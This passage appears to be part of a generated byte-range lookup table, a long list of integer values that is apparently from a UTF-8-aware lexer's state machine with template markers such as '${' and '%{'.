130, 135, 136, 148, 151, - 153, 159, 161, 163, 170, 171, 173, 176, - 178, 179, 134, 128, 132, 156, 159, 128, - 128, 135, 137, 172, 136, 140, 128, 129, - 130, 131, 137, 138, 139, 140, 141, 142, - 143, 144, 153, 154, 155, 156, 157, 158, - 159, 160, 161, 162, 163, 164, 165, 166, - 167, 168, 169, 170, 172, 173, 174, 175, - 176, 177, 178, 179, 180, 181, 182, 184, - 188, 189, 190, 191, 132, 152, 185, 187, - 191, 128, 170, 161, 144, 149, 154, 157, - 165, 166, 174, 176, 181, 255, 130, 141, - 143, 159, 155, 255, 128, 140, 142, 145, - 160, 177, 128, 145, 160, 172, 174, 176, - 151, 156, 170, 128, 168, 176, 255, 138, - 255, 128, 150, 160, 255, 149, 255, 167, - 133, 179, 133, 139, 131, 160, 174, 175, - 186, 255, 166, 255, 128, 163, 141, 143, - 154, 189, 169, 172, 174, 177, 181, 182, - 129, 130, 132, 133, 134, 176, 177, 178, - 179, 180, 181, 182, 183, 177, 191, 165, - 170, 175, 177, 180, 255, 168, 174, 176, - 255, 128, 134, 136, 142, 144, 150, 152, - 158, 128, 129, 130, 131, 132, 133, 134, - 135, 144, 145, 255, 133, 135, 161, 169, - 177, 181, 184, 188, 160, 151, 154, 128, - 146, 147, 148, 152, 153, 154, 155, 156, - 158, 159, 160, 161, 162, 163, 164, 165, - 166, 167, 168, 169, 170, 171, 172, 173, - 174, 175, 176, 129, 255, 141, 143, 160, - 169, 172, 255, 191, 128, 174, 130, 134, - 139, 163, 255, 130, 179, 187, 189, 178, - 183, 138, 165, 176, 255, 135, 159, 189, - 255, 132, 178, 143, 160, 164, 166, 175, - 186, 190, 128, 168, 186, 128, 130, 132, - 139, 160, 182, 190, 255, 176, 178, 180, - 183, 184, 190, 255, 128, 130, 155, 157, - 160, 170, 178, 180, 128, 162, 164, 169, - 171, 172, 173, 174, 175, 180, 181, 182, - 183, 185, 186, 187, 188, 189, 190, 191, - 165, 179, 157, 190, 128, 134, 147, 151, - 159, 168, 170, 182, 184, 188, 176, 180, - 182, 255, 161, 186, 144, 145, 146, 147, - 148, 150, 151, 152, 155, 157, 158, 160, - 170, 171, 172, 175, 161, 169, 128, 129, - 130, 131, 133, 138, 139, 140, 141, 142, - 143, 144, 145, 146, 147, 148, 149, 152, - 156, 157, 160, 161, 162, 163, 164, 166, - 168, 169, 170, 171, 172, 173, 174, 176, - 177, 153, 155, 178, 179, 145, 255, 139, - 143, 182, 255, 158, 175, 128, 144, 147, - 149, 151, 153, 179, 128, 135, 137, 164, - 128, 130, 131, 132, 133, 134, 135, 136, - 138, 139, 140, 141, 144, 145, 146, 147, - 150, 151, 152, 153, 154, 156, 162, 163, - 171, 176, 177, 178, 131, 183, 131, 175, - 144, 168, 131, 166, 182, 144, 178, 131, - 178, 154, 156, 129, 132, 128, 145, 147, - 171, 159, 255, 144, 157, 161, 135, 138, - 128, 175, 135, 132, 133, 128, 174, 152, - 155, 132, 128, 170, 128, 153, 160, 190, - 192, 255, 128, 136, 138, 174, 128, 178, - 255, 160, 168, 169, 171, 172, 173, 174, - 188, 189, 190, 191, 161, 167, 144, 173, - 128, 131, 163, 183, 189, 255, 133, 143, - 145, 255, 147, 159, 128, 176, 177, 178, - 128, 136, 144, 153, 144, 145, 146, 147, - 148, 149, 154, 155, 156, 157, 158, 159, - 150, 153, 131, 140, 255, 160, 163, 164, - 165, 184, 185, 186, 161, 162, 133, 255, - 170, 181, 183, 186, 128, 150, 152, 182, - 184, 255, 192, 255, 128, 255, 173, 130, - 133, 146, 159, 165, 171, 175, 255, 181, - 190, 184, 185, 192, 255, 140, 134, 138, - 142, 161, 163, 255, 182, 130, 136, 137, - 176, 151, 152, 154, 160, 190, 136, 144, - 192, 255, 135, 129, 130, 132, 133, 144, - 170, 176, 178, 144, 154, 160, 191, 128, - 169, 174, 255, 148, 169, 157, 158, 189, - 190, 192, 255, 144, 255, 139, 140, 178, - 255, 186, 128, 181, 160, 161, 162, 163, - 164, 165, 166, 167, 168, 169, 170, 171, - 172, 173, 174, 175, 176, 177, 178, 179, - 180, 181, 182, 183, 184, 185, 186, 187, - 188, 189, 190, 191, 128, 173, 128, 155, - 160, 180, 182, 189, 148, 161, 163, 255, - 176, 164, 165, 132, 169, 177, 141, 142, - 145, 146, 179, 181, 186, 187, 158, 133, - 134, 137, 138, 143, 150, 152, 155, 164, - 165, 178, 255, 188, 129, 131, 133, 138, - 143, 144, 147, 168, 170, 176, 178, 179, - 181, 182, 184, 185, 190, 255, 157, 131, - 134, 137, 138, 142, 144, 146, 152, 159, - 165, 182, 255, 129, 131, 133, 141, 143, - 145, 147, 168, 170, 176, 178, 179, 181, - 185, 188, 255, 134, 138, 142, 143, 145, - 159, 164, 165, 176, 184, 186, 255, 129, - 131, 133, 140, 143, 144, 147, 168, 170, - 176, 178, 179, 181, 185, 188, 191, 177, - 128, 132, 135, 136, 139, 141, 150, 151, - 156, 157, 159, 163, 166, 175, 156, 130, - 131, 133, 138, 142, 144, 146, 149, 153, - 154, 158, 159, 163, 164, 168, 170, 174, - 185, 190, 191, 144, 151, 128, 130, 134, - 136, 138, 141, 166, 175, 128, 131, 133, - 140, 142, 144, 146, 168, 170, 185, 189, - 255, 133, 137, 151, 142, 148, 155, 159, - 164, 165, 176, 255, 128, 131, 133, 140, - 142, 144, 146, 168, 170, 179, 181, 185, - 188, 191, 158, 128, 132, 134, 136, 138, - 141, 149, 150, 160, 163, 166, 175, 177, - 178, 129, 131, 133, 140, 142, 144, 146, - 186, 189, 255, 133, 137, 143, 147, 152, - 158, 164, 165, 176, 185, 192, 255, 189, - 130, 131, 133, 150, 154, 177, 179, 187, - 138, 150, 128, 134, 143, 148, 152, 159, - 166, 175, 178, 179, 129, 186, 128, 142, - 144, 153, 132, 138, 141, 165, 167, 129, - 130, 135, 136, 148, 151, 153, 159, 161, - 163, 170, 171, 173, 185, 187, 189, 134, - 128, 132, 136, 141, 144, 153, 156, 159, - 128, 181, 183, 185, 152, 153, 160, 169, - 190, 191, 128, 135, 137, 172, 177, 191, - 128, 132, 134, 151, 153, 188, 134, 128, - 129, 130, 131, 137, 138, 139, 140, 141, - 142, 143, 144, 153, 154, 155, 156, 157, - 158, 159, 160, 161, 162, 163, 164, 165, - 166, 167, 168, 169, 170, 173, 175, 176, - 177, 178, 179, 181, 182, 183, 188, 189, - 190, 191, 132, 152, 172, 184, 185, 187, - 128, 191, 128, 137, 144, 255, 158, 159, - 134, 187, 136, 140, 142, 143, 137, 151, - 153, 142, 143, 158, 159, 137, 177, 142, - 143, 182, 183, 191, 255, 128, 130, 133, - 136, 150, 152, 255, 145, 150, 151, 155, - 156, 160, 168, 178, 255, 128, 143, 160, - 255, 182, 183, 190, 255, 129, 255, 173, - 174, 192, 255, 129, 154, 160, 255, 171, - 173, 185, 255, 128, 140, 142, 148, 160, - 180, 128, 147, 160, 172, 174, 176, 178, - 179, 148, 150, 152, 155, 158, 159, 170, - 255, 139, 141, 144, 153, 160, 255, 184, - 255, 128, 170, 176, 255, 182, 255, 128, - 158, 160, 171, 176, 187, 134, 173, 176, - 180, 128, 171, 176, 255, 138, 143, 155, - 255, 128, 155, 160, 255, 159, 189, 190, - 192, 255, 167, 128, 137, 144, 153, 176, - 189, 140, 143, 154, 170, 180, 255, 180, - 255, 128, 183, 128, 137, 141, 189, 128, - 136, 144, 146, 148, 182, 184, 185, 128, - 181, 187, 191, 150, 151, 158, 159, 152, - 154, 156, 158, 134, 135, 142, 143, 190, - 255, 190, 128, 180, 182, 188, 130, 132, - 134, 140, 144, 147, 150, 155, 160, 172, - 178, 180, 182, 188, 128, 129, 130, 131, - 132, 133, 134, 176, 177, 178, 179, 180, - 181, 182, 183, 191, 255, 129, 147, 149, - 176, 178, 190, 192, 255, 144, 156, 161, - 144, 156, 165, 176, 130, 135, 149, 164, - 166, 168, 138, 147, 152, 157, 170, 185, - 188, 191, 142, 133, 137, 160, 255, 137, - 255, 128, 174, 176, 255, 159, 165, 170, - 180, 255, 167, 173, 128, 165, 176, 255, - 168, 174, 176, 190, 192, 255, 128, 150, - 160, 166, 168, 174, 176, 182, 184, 190, - 128, 134, 136, 142, 144, 150, 152, 158, - 160, 191, 128, 129, 130, 131, 132, 133, - 134, 135, 144, 145, 255, 133, 135, 161, - 175, 177, 181, 184, 188, 160, 151, 152, - 187, 192, 255, 133, 173, 177, 255, 143, - 159, 187, 255, 176, 191, 182, 183, 184, - 191, 192, 255, 150, 255, 128, 146, 147, - 148, 152, 153, 154, 155, 156, 158, 159, - 160, 161, 162, 163, 164, 165, 166, 167, - 168, 169, 170, 171, 172, 173, 174, 175, - 176, 129, 255, 141, 255, 144, 189, 141, - 143, 172, 255, 191, 128, 175, 180, 189, - 151, 159, 162, 255, 175, 137, 138, 184, - 255, 183, 255, 168, 255, 128, 179, 188, - 134, 143, 154, 159, 184, 186, 190, 255, - 128, 173, 176, 255, 148, 159, 189, 255, - 129, 142, 154, 159, 191, 255, 128, 182, - 128, 141, 144, 153, 160, 182, 186, 255, - 128, 130, 155, 157, 160, 175, 178, 182, - 129, 134, 137, 142, 145, 150, 160, 166, - 168, 174, 176, 255, 155, 166, 175, 128, - 170, 172, 173, 176, 185, 158, 159, 160, - 255, 164, 175, 135, 138, 188, 255, 164, - 169, 171, 172, 173, 174, 175, 180, 181, - 182, 183, 184, 185, 187, 188, 189, 190, - 191, 165, 186, 174, 175, 154, 255, 190, - 128, 134, 147, 151, 157, 168, 170, 182, - 184, 188, 128, 129, 131, 132, 134, 255, - 147, 255, 190, 255, 144, 145, 136, 175, - 188, 255, 128, 143, 160, 175, 179, 180, - 141, 143, 176, 180, 182, 255, 189, 255, - 191, 144, 153, 161, 186, 129, 154, 166, - 255, 191, 255, 130, 135, 138, 143, 146, - 151, 154, 156, 144, 145, 146, 147, 148, - 150, 151, 152, 155, 157, 158, 160, 170, - 171, 172, 175, 161, 169, 128, 129, 130, - 131, 133, 135, 138, 139, 140, 141, 142, - 143, 144, 145, 146, 147, 148, 149, 152, - 156, 157, 160, 161, 162, 163, 164, 166, - 168, 169, 170, 171, 172, 173, 174, 176, - 177, 153, 155, 178, 179, 128, 139, 141, - 166, 168, 186, 188, 189, 191, 255, 142, - 143, 158, 255, 187, 255, 128, 180, 189, - 128, 156, 160, 255, 145, 159, 161, 255, - 128, 159, 176, 255, 139, 143, 187, 255, - 128, 157, 160, 255, 144, 132, 135, 150, - 255, 158, 159, 170, 175, 148, 151, 188, - 255, 128, 167, 176, 255, 164, 255, 183, - 255, 128, 149, 160, 167, 136, 188, 128, - 133, 138, 181, 183, 184, 191, 255, 150, - 159, 183, 255, 128, 158, 160, 178, 180, - 181, 128, 149, 160, 185, 128, 183, 190, - 191, 191, 128, 131, 133, 134, 140, 147, - 149, 151, 153, 179, 184, 186, 160, 188, - 128, 156, 128, 135, 137, 166, 128, 181, - 128, 149, 160, 178, 128, 145, 128, 178, - 129, 130, 131, 132, 133, 135, 136, 138, - 139, 140, 141, 144, 145, 146, 147, 150, - 151, 152, 153, 154, 155, 156, 162, 163, - 171, 176, 177, 178, 128, 134, 135, 165, - 176, 190, 144, 168, 176, 185, 128, 180, - 182, 191, 182, 144, 179, 155, 133, 137, - 141, 143, 157, 255, 190, 128, 145, 147, - 183, 136, 128, 134, 138, 141, 143, 157, - 159, 168, 176, 255, 171, 175, 186, 255, - 128, 131, 133, 140, 143, 144, 147, 168, - 170, 176, 178, 179, 181, 185, 188, 191, - 144, 151, 128, 132, 135, 136, 139, 141, - 157, 163, 166, 172, 176, 180, 128, 138, - 144, 153, 134, 136, 143, 154, 255, 128, - 181, 184, 255, 129, 151, 158, 255, 129, - 131, 133, 143, 154, 255, 128, 137, 128, - 153, 157, 171, 176, 185, 160, 255, 170, - 190, 192, 255, 128, 184, 128, 136, 138, - 182, 184, 191, 128, 144, 153, 178, 255, - 168, 144, 145, 183, 255, 128, 142, 145, - 149, 129, 141, 144, 146, 147, 148, 175, - 255, 132, 255, 128, 144, 129, 143, 144, - 153, 145, 152, 135, 255, 160, 168, 169, - 171, 172, 173, 174, 188, 189, 190, 191, - 161, 167, 185, 255, 128, 158, 160, 169, - 144, 173, 176, 180, 128, 131, 144, 153, - 163, 183, 189, 255, 144, 255, 133, 143, - 191, 255, 143, 159, 160, 128, 129, 255, - 159, 160, 171, 172, 255, 173, 255, 179, - 255, 128, 176, 177, 178, 128, 129, 171, - 175, 189, 255, 128, 136, 144, 153, 157, - 158, 133, 134, 137, 144, 145, 146, 147, - 148, 149, 154, 155, 156, 157, 158, 159, - 168, 169, 170, 150, 153, 165, 169, 173, - 178, 187, 255, 131, 132, 140, 169, 174, - 255, 130, 132, 149, 157, 173, 186, 188, - 160, 161, 163, 164, 167, 168, 132, 134, - 149, 157, 186, 139, 140, 191, 255, 134, - 128, 132, 138, 144, 146, 255, 166, 167, - 129, 155, 187, 149, 181, 143, 175, 137, - 169, 131, 140, 141, 192, 255, 128, 182, - 187, 255, 173, 180, 182, 255, 132, 155, - 159, 161, 175, 128, 160, 163, 164, 165, - 184, 185, 186, 161, 162, 128, 134, 136, - 152, 155, 161, 163, 164, 166, 170, 133, - 143, 151, 255, 139, 143, 154, 255, 164, - 167, 185, 187, 128, 131, 133, 159, 161, - 162, 169, 178, 180, 183, 130, 135, 137, - 139, 148, 151, 153, 155, 157, 159, 164, - 190, 141, 143, 145, 146, 161, 162, 167, - 170, 172, 178, 180, 183, 185, 188, 128, - 137, 139, 155, 161, 163, 165, 169, 171, - 187, 155, 156, 151, 255, 156, 157, 160, - 181, 255, 186, 187, 255, 162, 255, 160, - 168, 161, 167, 158, 255, 160, 132, 135, - 133, 134, 176, 255, 128, 191, 154, 164, - 168, 128, 149, 150, 191, 128, 152, 153, - 191, 181, 128, 159, 160, 189, 190, 191, - 189, 128, 131, 132, 185, 186, 191, 144, - 128, 151, 152, 161, 162, 176, 177, 255, - 169, 177, 129, 132, 141, 142, 145, 146, - 179, 181, 186, 188, 190, 191, 192, 255, - 142, 158, 128, 155, 156, 161, 162, 175, - 176, 177, 178, 191, 169, 177, 180, 183, - 128, 132, 133, 138, 139, 142, 143, 144, - 145, 146, 147, 185, 186, 191, 157, 128, - 152, 153, 158, 159, 177, 178, 180, 181, - 191, 142, 146, 169, 177, 180, 189, 128, - 132, 133, 185, 186, 191, 144, 185, 128, - 159, 160, 161, 162, 191, 169, 177, 180, - 189, 128, 132, 133, 140, 141, 142, 143, - 144, 145, 146, 147, 185, 186, 191, 158, - 177, 128, 155, 156, 161, 162, 191, 131, - 145, 155, 157, 128, 132, 133, 138, 139, - 141, 142, 149, 150, 152, 153, 159, 160, - 162, 163, 164, 165, 167, 168, 170, 171, - 173, 174, 185, 186, 191, 144, 128, 191, - 141, 145, 169, 189, 128, 132, 133, 185, - 186, 191, 128, 151, 152, 154, 155, 159, - 160, 161, 162, 191, 128, 141, 145, 169, - 180, 189, 129, 132, 133, 185, 186, 191, - 158, 128, 159, 160, 161, 162, 176, 177, - 178, 179, 191, 141, 145, 189, 128, 132, - 133, 186, 187, 191, 142, 128, 147, 148, - 150, 151, 158, 159, 161, 162, 185, 186, - 191, 178, 188, 128, 132, 133, 150, 151, - 153, 154, 189, 190, 191, 128, 134, 135, - 191, 128, 177, 129, 179, 180, 191, 128, - 131, 137, 141, 152, 160, 164, 166, 172, - 177, 189, 129, 132, 133, 134, 135, 138, - 139, 147, 148, 167, 168, 169, 170, 179, - 180, 191, 133, 128, 134, 135, 155, 156, - 159, 160, 191, 128, 129, 191, 136, 128, - 172, 173, 191, 128, 135, 136, 140, 141, - 191, 191, 128, 170, 171, 190, 161, 128, - 143, 144, 149, 150, 153, 154, 157, 158, - 164, 165, 166, 167, 173, 174, 176, 177, - 180, 181, 255, 130, 141, 143, 159, 134, - 187, 136, 140, 142, 143, 137, 151, 153, - 142, 143, 158, 159, 137, 177, 191, 142, - 143, 182, 183, 192, 255, 129, 151, 128, - 133, 134, 135, 136, 255, 145, 150, 151, - 155, 191, 192, 255, 128, 143, 144, 159, - 160, 255, 182, 183, 190, 191, 192, 255, - 128, 129, 255, 173, 174, 192, 255, 128, - 129, 154, 155, 159, 160, 255, 171, 173, - 185, 191, 192, 255, 141, 128, 145, 146, - 159, 160, 177, 178, 191, 173, 128, 145, - 146, 159, 160, 176, 177, 191, 128, 179, - 180, 191, 151, 156, 128, 191, 128, 159, - 160, 255, 184, 191, 192, 255, 169, 128, - 170, 171, 175, 176, 255, 182, 191, 192, - 255, 128, 158, 159, 191, 128, 143, 144, - 173, 174, 175, 176, 180, 181, 191, 128, - 171, 172, 175, 176, 255, 138, 191, 192, - 255, 128, 150, 151, 159, 160, 255, 149, - 191, 192, 255, 167, 128, 191, 128, 132, - 133, 179, 180, 191, 128, 132, 133, 139, - 140, 191, 128, 130, 131, 160, 161, 173, - 174, 175, 176, 185, 186, 255, 166, 191, - 192, 255, 128, 163, 164, 191, 128, 140, - 141, 143, 144, 153, 154, 189, 190, 191, - 128, 136, 137, 191, 173, 128, 168, 169, - 177, 178, 180, 181, 182, 183, 191, 0, - 127, 192, 255, 150, 151, 158, 159, 152, - 154, 156, 158, 134, 135, 142, 143, 190, - 191, 192, 255, 181, 189, 191, 128, 190, - 133, 181, 128, 129, 130, 140, 141, 143, - 144, 147, 148, 149, 150, 155, 156, 159, - 160, 172, 173, 177, 178, 188, 189, 191, - 177, 191, 128, 190, 128, 143, 144, 156, - 157, 191, 130, 135, 148, 164, 166, 168, - 128, 137, 138, 149, 150, 151, 152, 157, - 158, 169, 170, 185, 186, 187, 188, 191, - 142, 128, 132, 133, 137, 138, 159, 160, - 255, 137, 191, 192, 255, 175, 128, 255, - 159, 165, 170, 175, 177, 180, 191, 192, - 255, 166, 173, 128, 167, 168, 175, 176, - 255, 168, 174, 176, 191, 192, 255, 167, - 175, 183, 191, 128, 150, 151, 159, 160, - 190, 135, 143, 151, 128, 158, 159, 191, - 128, 132, 133, 135, 136, 160, 161, 169, - 170, 176, 177, 181, 182, 183, 184, 188, - 189, 191, 160, 151, 154, 187, 192, 255, - 128, 132, 133, 173, 174, 176, 177, 255, - 143, 159, 187, 191, 192, 255, 128, 175, - 176, 191, 150, 191, 192, 255, 141, 191, - 192, 255, 128, 143, 144, 189, 190, 191, - 141, 143, 160, 169, 172, 191, 192, 255, - 191, 128, 174, 175, 190, 128, 157, 158, - 159, 160, 255, 176, 191, 192, 255, 128, - 150, 151, 159, 160, 161, 162, 255, 175, - 137, 138, 184, 191, 192, 255, 128, 182, - 183, 255, 130, 134, 139, 163, 191, 192, - 255, 128, 129, 130, 179, 180, 191, 187, - 189, 128, 177, 178, 183, 184, 191, 128, - 137, 138, 165, 166, 175, 176, 255, 135, - 159, 189, 191, 192, 255, 128, 131, 132, - 178, 179, 191, 143, 165, 191, 128, 159, - 160, 175, 176, 185, 186, 190, 128, 168, - 169, 191, 131, 186, 128, 139, 140, 159, - 160, 182, 183, 189, 190, 255, 176, 178, - 180, 183, 184, 190, 191, 192, 255, 129, - 128, 130, 131, 154, 155, 157, 158, 159, - 160, 170, 171, 177, 178, 180, 181, 191, - 128, 167, 175, 129, 134, 135, 136, 137, - 142, 143, 144, 145, 150, 151, 159, 160, - 255, 155, 166, 175, 128, 162, 163, 191, - 164, 175, 135, 138, 188, 191, 192, 255, - 174, 175, 154, 191, 192, 255, 157, 169, - 183, 189, 191, 128, 134, 135, 146, 147, - 151, 152, 158, 159, 190, 130, 133, 128, - 255, 178, 191, 192, 255, 128, 146, 147, - 255, 190, 191, 192, 255, 128, 143, 144, - 255, 144, 145, 136, 175, 188, 191, 192, - 255, 181, 128, 175, 176, 255, 189, 191, - 192, 255, 128, 160, 161, 186, 187, 191, - 128, 129, 154, 155, 165, 166, 255, 191, - 192, 255, 128, 129, 130, 135, 136, 137, - 138, 143, 144, 145, 146, 151, 152, 153, - 154, 156, 157, 191, 128, 191, 128, 129, - 130, 131, 133, 138, 139, 140, 141, 142, - 143, 144, 145, 146, 147, 148, 149, 152, - 156, 157, 160, 161, 162, 163, 164, 166, - 168, 169, 170, 171, 172, 173, 174, 176, - 177, 132, 151, 153, 155, 158, 175, 178, - 179, 180, 191, 140, 167, 187, 190, 128, - 255, 142, 143, 158, 191, 192, 255, 187, - 191, 192, 255, 128, 180, 181, 191, 128, - 156, 157, 159, 160, 255, 145, 191, 192, - 255, 128, 159, 160, 175, 176, 255, 139, - 143, 182, 191, 192, 255, 144, 132, 135, - 150, 191, 192, 255, 158, 175, 148, 151, - 188, 191, 192, 255, 128, 167, 168, 175, - 176, 255, 164, 191, 192, 255, 183, 191, - 192, 255, 128, 149, 150, 159, 160, 167, - 168, 191, 136, 182, 188, 128, 133, 134, - 137, 138, 184, 185, 190, 191, 255, 150, - 159, 183, 191, 192, 255, 179, 128, 159, - 160, 181, 182, 191, 128, 149, 150, 159, - 160, 185, 186, 191, 128, 183, 184, 189, - 190, 191, 128, 148, 152, 129, 143, 144, - 179, 180, 191, 128, 159, 160, 188, 189, - 191, 128, 156, 157, 191, 136, 128, 164, - 165, 191, 128, 181, 182, 191, 128, 149, - 150, 159, 160, 178, 179, 191, 128, 145, - 146, 191, 128, 178, 179, 191, 128, 130, - 131, 132, 133, 134, 135, 136, 138, 139, - 140, 141, 144, 145, 146, 147, 150, 151, - 152, 153, 154, 156, 162, 163, 171, 176, - 177, 178, 129, 191, 128, 130, 131, 183, - 184, 191, 128, 130, 131, 175, 176, 191, - 128, 143, 144, 168, 169, 191, 128, 130, - 131, 166, 167, 191, 182, 128, 143, 144, - 178, 179, 191, 128, 130, 131, 178, 179, - 191, 128, 154, 156, 129, 132, 133, 191, - 146, 128, 171, 172, 191, 135, 137, 142, - 158, 128, 168, 169, 175, 176, 255, 159, - 191, 192, 255, 144, 128, 156, 157, 161, - 162, 191, 128, 134, 135, 138, 139, 191, - 128, 175, 176, 191, 134, 128, 131, 132, - 135, 136, 191, 128, 174, 175, 191, 128, - 151, 152, 155, 156, 191, 132, 128, 191, - 128, 170, 171, 191, 128, 153, 154, 191, - 160, 190, 192, 255, 128, 184, 185, 191, - 137, 128, 174, 175, 191, 128, 129, 177, - 178, 255, 144, 191, 192, 255, 128, 142, - 143, 144, 145, 146, 149, 129, 148, 150, - 191, 175, 191, 192, 255, 132, 191, 192, - 255, 128, 144, 129, 143, 145, 191, 144, - 153, 128, 143, 145, 152, 154, 191, 135, - 191, 192, 255, 160, 168, 169, 171, 172, - 173, 174, 188, 189, 190, 191, 128, 159, - 161, 167, 170, 187, 185, 191, 192, 255, - 128, 143, 144, 173, 174, 191, 128, 131, - 132, 162, 163, 183, 184, 188, 189, 255, - 133, 143, 145, 191, 192, 255, 128, 146, - 147, 159, 160, 191, 160, 128, 191, 128, - 129, 191, 192, 255, 159, 160, 171, 128, - 170, 172, 191, 192, 255, 173, 191, 192, - 255, 179, 191, 192, 255, 128, 176, 177, - 178, 129, 191, 128, 129, 130, 191, 171, - 175, 189, 191, 192, 255, 128, 136, 137, - 143, 144, 153, 154, 191, 144, 145, 146, - 147, 148, 149, 154, 155, 156, 157, 158, - 159, 128, 143, 150, 153, 160, 191, 149, - 157, 173, 186, 188, 160, 161, 163, 164, - 167, 168, 132, 134, 149, 157, 186, 191, - 139, 140, 192, 255, 133, 145, 128, 134, - 135, 137, 138, 255, 166, 167, 129, 155, - 187, 149, 181, 143, 175, 137, 169, 131, - 140, 191, 192, 255, 160, 163, 164, 165, - 184, 185, 186, 128, 159, 161, 162, 166, - 191, 133, 191, 192, 255, 132, 160, 163, - 167, 179, 184, 186, 128, 164, 165, 168, - 169, 187, 188, 191, 130, 135, 137, 139, - 144, 147, 151, 153, 155, 157, 159, 163, - 171, 179, 184, 189, 191, 128, 140, 141, - 148, 149, 160, 161, 164, 165, 166, 167, - 190, 138, 164, 170, 128, 155, 156, 160, - 161, 187, 188, 191, 128, 191, 155, 156, - 128, 191, 151, 191, 192, 255, 156, 157, - 160, 128, 191, 181, 191, 192, 255, 158, - 159, 186, 128, 185, 187, 191, 192, 255, - 162, 191, 192, 255, 160, 168, 128, 159, - 161, 167, 169, 191, 158, 191, 192, 255, - 10, 13, 128, 191, 192, 223, 224, 239, - 240, 247, 248, 255, 128, 191, 128, 191, - 128, 191, 128, 191, 128, 191, 10, 128, - 191, 128, 191, 128, 191, 36, 123, 37, - 123, 10, 128, 191, 128, 191, 128, 191, - 36, 123, 37, 123, 170, 181, 183, 186, - 128, 150, 152, 182, 184, 255, 192, 255, - 128, 255, 173, 130, 133, 146, 159, 165, - 171, 175, 255, 181, 190, 184, 185, 192, - 255, 140, 134, 138, 142, 161, 163, 255, - 182, 130, 136, 137, 176, 151, 152, 154, - 160, 190, 136, 144, 192, 255, 135, 129, - 130, 132, 133, 144, 170, 176, 178, 144, - 154, 160, 191, 128, 169, 174, 255, 148, - 169, 157, 158, 189, 190, 192, 255, 144, - 255, 139, 140, 178, 255, 186, 128, 181, - 160, 161, 162, 163, 164, 165, 166, 167, - 168, 169, 170, 171, 172, 173, 174, 175, - 176, 177, 178, 179, 180, 181, 182, 183, - 184, 185, 186, 187, 188, 189, 190, 191, - 128, 173, 128, 155, 160, 180, 182, 189, - 148, 161, 163, 255, 176, 164, 165, 132, - 169, 177, 141, 142, 145, 146, 179, 181, - 186, 187, 158, 133, 134, 137, 138, 143, - 150, 152, 155, 164, 165, 178, 255, 188, - 129, 131, 133, 138, 143, 144, 147, 168, - 170, 176, 178, 179, 181, 182, 184, 185, - 190, 255, 157, 131, 134, 137, 138, 142, - 144, 146, 152, 159, 165, 182, 255, 129, - 131, 133, 141, 143, 145, 147, 168, 170, - 176, 178, 179, 181, 185, 188, 255, 134, - 138, 142, 143, 145, 159, 164, 165, 176, - 184, 186, 255, 129, 131, 133, 140, 143, - 144, 147, 168, 170, 176, 178, 179, 181, - 185, 188, 191, 177, 128, 132, 135, 136, - 139, 141, 150, 151, 156, 157, 159, 163, - 166, 175, 156, 130, 131, 133, 138, 142, - 144, 146, 149, 153, 154, 158, 159, 163, - 164, 168, 170, 174, 185, 190, 191, 144, - 151, 128, 130, 134, 136, 138, 141, 166, - 175, 128, 131, 133, 140, 142, 144, 146, - 168, 170, 185, 189, 255, 133, 137, 151, - 142, 148, 155, 159, 164, 165, 176, 255, - 128, 131, 133, 140, 142, 144, 146, 168, - 170, 179, 181, 185, 188, 191, 158, 128, - 132, 134, 136, 138, 141, 149, 150, 160, - 163, 166, 175, 177, 178, 129, 131, 133, - 140, 142, 144, 146, 186, 189, 255, 133, - 137, 143, 147, 152, 158, 164, 165, 176, - 185, 192, 255, 189, 130, 131, 133, 150, - 154, 177, 179, 187, 138, 150, 128, 134, - 143, 148, 152, 159, 166, 175, 178, 179, - 129, 186, 128, 142, 144, 153, 132, 138, - 141, 165, 167, 129, 130, 135, 136, 148, - 151, 153, 159, 161, 163, 170, 171, 173, - 185, 187, 189, 134, 128, 132, 136, 141, - 144, 153, 156, 159, 128, 181, 183, 185, - 152, 153, 160, 169, 190, 191, 128, 135, - 137, 172, 177, 191, 128, 132, 134, 151, - 153, 188, 134, 128, 129, 130, 131, 137, - 138, 139, 140, 141, 142, 143, 144, 153, - 154, 155, 156, 157, 158, 159, 160, 161, - 162, 163, 164, 165, 166, 167, 168, 169, - 170, 173, 175, 176, 177, 178, 179, 181, - 182, 183, 188, 189, 190, 191, 132, 152, - 172, 184, 185, 187, 128, 191, 128, 137, - 144, 255, 158, 159, 134, 187, 136, 140, - 142, 143, 137, 151, 153, 142, 143, 158, - 159, 137, 177, 142, 143, 182, 183, 191, - 255, 128, 130, 133, 136, 150, 152, 255, - 145, 150, 151, 155, 156, 160, 168, 178, - 255, 128, 143, 160, 255, 182, 183, 190, - 255, 129, 255, 173, 174, 192, 255, 129, - 154, 160, 255, 171, 173, 185, 255, 128, - 140, 142, 148, 160, 180, 128, 147, 160, - 172, 174, 176, 178, 179, 148, 150, 152, - 155, 158, 159, 170, 255, 139, 141, 144, - 153, 160, 255, 184, 255, 128, 170, 176, - 255, 182, 255, 128, 158, 160, 171, 176, - 187, 134, 173, 176, 180, 128, 171, 176, - 255, 138, 143, 155, 255, 128, 155, 160, - 255, 159, 189, 190, 192, 255, 167, 128, - 137, 144, 153, 176, 189, 140, 143, 154, - 170, 180, 255, 180, 255, 128, 183, 128, - 137, 141, 189, 128, 136, 144, 146, 148, - 182, 184, 185, 128, 181, 187, 191, 150, - 151, 158, 159, 152, 154, 156, 158, 134, - 135, 142, 143, 190, 255, 190, 128, 180, - 182, 188, 130, 132, 134, 140, 144, 147, - 150, 155, 160, 172, 178, 180, 182, 188, - 128, 129, 130, 131, 132, 133, 134, 176, - 177, 178, 179, 180, 181, 182, 183, 191, - 255, 129, 147, 149, 176, 178, 190, 192, - 255, 144, 156, 161, 144, 156, 165, 176, - 130, 135, 149, 164, 166, 168, 138, 147, - 152, 157, 170, 185, 188, 191, 142, 133, - 137, 160, 255, 137, 255, 128, 174, 176, - 255, 159, 165, 170, 180, 255, 167, 173, - 128, 165, 176, 255, 168, 174, 176, 190, - 192, 255, 128, 150, 160, 166, 168, 174, - 176, 182, 184, 190, 128, 134, 136, 142, - 144, 150, 152, 158, 160, 191, 128, 129, - 130, 131, 132, 133, 134, 135, 144, 145, - 255, 133, 135, 161, 175, 177, 181, 184, - 188, 160, 151, 152, 187, 192, 255, 133, - 173, 177, 255, 143, 159, 187, 255, 176, - 191, 182, 183, 184, 191, 192, 255, 150, - 255, 128, 146, 147, 148, 152, 153, 154, - 155, 156, 158, 159, 160, 161, 162, 163, - 164, 165, 166, 167, 168, 169, 170, 171, - 172, 173, 174, 175, 176, 129, 255, 141, - 255, 144, 189, 141, 143, 172, 255, 191, - 128, 175, 180, 189, 151, 159, 162, 255, - 175, 137, 138, 